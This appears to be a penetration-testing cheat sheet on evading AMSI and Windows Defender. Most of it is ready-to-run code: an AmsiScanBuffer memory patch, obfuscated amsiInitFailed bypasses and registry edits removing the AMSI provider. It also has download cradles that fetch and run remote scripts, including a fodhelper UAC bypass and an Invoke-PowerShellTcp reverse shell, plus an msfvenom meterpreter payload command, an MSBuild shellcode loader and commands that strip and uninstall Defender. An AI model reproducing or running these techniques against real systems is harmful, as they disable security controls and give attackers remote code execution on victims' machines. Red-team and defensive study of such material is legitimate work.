Resources
Copy Get-WinEvent "Microsoft-Windows-Windows Defender/Operational' | Where-Object Id -eq 1116 | Format-List
Introduction
AMSI supports:
Memory and Stream scanning
Content Source/ IP reputation checks
AMSI is integrated with:
Windows Scripts (wscript.exe & cscript.exe)
Techniques to Bypass AMSI
Using Powershell version 2
Patching amsi.dll AmsiScanBuffer
Copy #By rasta-mouse
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
Some of the public Powershell AMSI bypasses just don`t work for loaded .NET binaries.
Copy #These bypasses have signatures by AVs now, and need to be used with obfuscation.
#Requires Admin Access
#May not be recognized in shell. Only in PSRemote
Set-MpPreference -DisableRealTimeMonitoring $true
Invoke-Command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
#Matt Graeber bypass
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
[Ref].Assembly.GetType('http://System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
#https://github.com/danielbohannon/Invoke-CradleCrafter
Import-Module ./Invoke-CradleCrafter.psd1
Invoke-CradleCrafter
#Amsi & Autologging bypass
https://gist.github.com/mattifestation/7428103e0f58618598d49921586e885a
Registry Modifications
Requires admin privileges.
To be used with UAC Bypass
AMSI Bypass in new PS process.
Copy #Create new registry entry & delete original AMSI entry value
New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force;
Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse
#Automate using UAC Bypass - fodhelper
iex (New-Object Net.WebClient).DownloadString('http://192.168.3.38:8080/fodhelper.ps1');helper -custom "cmd.exe /c powershell New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse; cmd.exe /c powershell <Command>"
Obfuscation of Code
Copy 1. Use amsi.fail for an AMSI Bypass/ Remove comments if using a script using ISE Steroids.
2. If detected, use AMSITrigger to identify signatures.
3. For strings, use concatenation to bypass. For function names etc, change the names using Invoke-Obfuscation.
PyFuscation .py : Usage : Blog
Default option removes comments
Tip: Before obfuscating, add the Invoke Expression at the end of the script.
For C# binaries: encrypting the script or binary and decrypting it at runtime using an AMSI bypass before. [Invoke-SharpLoader ]
Copy #Installing ISE-Steroids
Install-Module -Name "ISESteroids" -Scope CurrentUser -Repository PSGallery -Force
Start-Steroids
#Remove Comments[Remcom.py]
wget https://gist.github.com/bad-bit/952f9156e2aa5dd36c4e8e430c6aea1a
Convert Powershell script to .exe
Useful for Unquoted Service Path Local Priv Esc
Copy #script.ps1
iex (iwr http://10.10.0.49/amsibypass.ps1 -UseBasicParsing); iex (iwr http://10.10.0.49/Invoke-PowerShellTcp.ps1 -UseBasicParsing)
#amsibypass.ps1
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
Encoded Malicious Executable
Create malicious shell code :
Copy msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.xx.xx LPORT=1339 -e x86/shikata_ga_nai -i 100 -f csharp
Append output to shellcode.xml
(Below).
Insert into the function: public override bool Execute()
Copy <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[<--INSERT BYTES HERE -->] {
<-- Insert-SHELL-CODE HERE!! --> };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Set up a listener. Transfer to target.
Compile on target from .xml to .exe
Copy C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\windows\Temp\shellcode.xml
Modifying Covenant Grunts
Key is to identify trigger points with ThreatCheck. Note that ThreatCheck shows only one trigger at a time, so this is an iterative process.
Disable Windows Defender
Copy Disable Defender
cd "c:\PROGRA~1\Windows Defender\"
.\mpcmdrun.exe -RemoveDefinitions -All
sc query WinDefend
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true
Uninstall-WindowsFeature -Name Windows-Defender
Modifying Executables
Automates the process of splitting a binary and utilizing defender itself to scan until it pinpoints the triggering signature.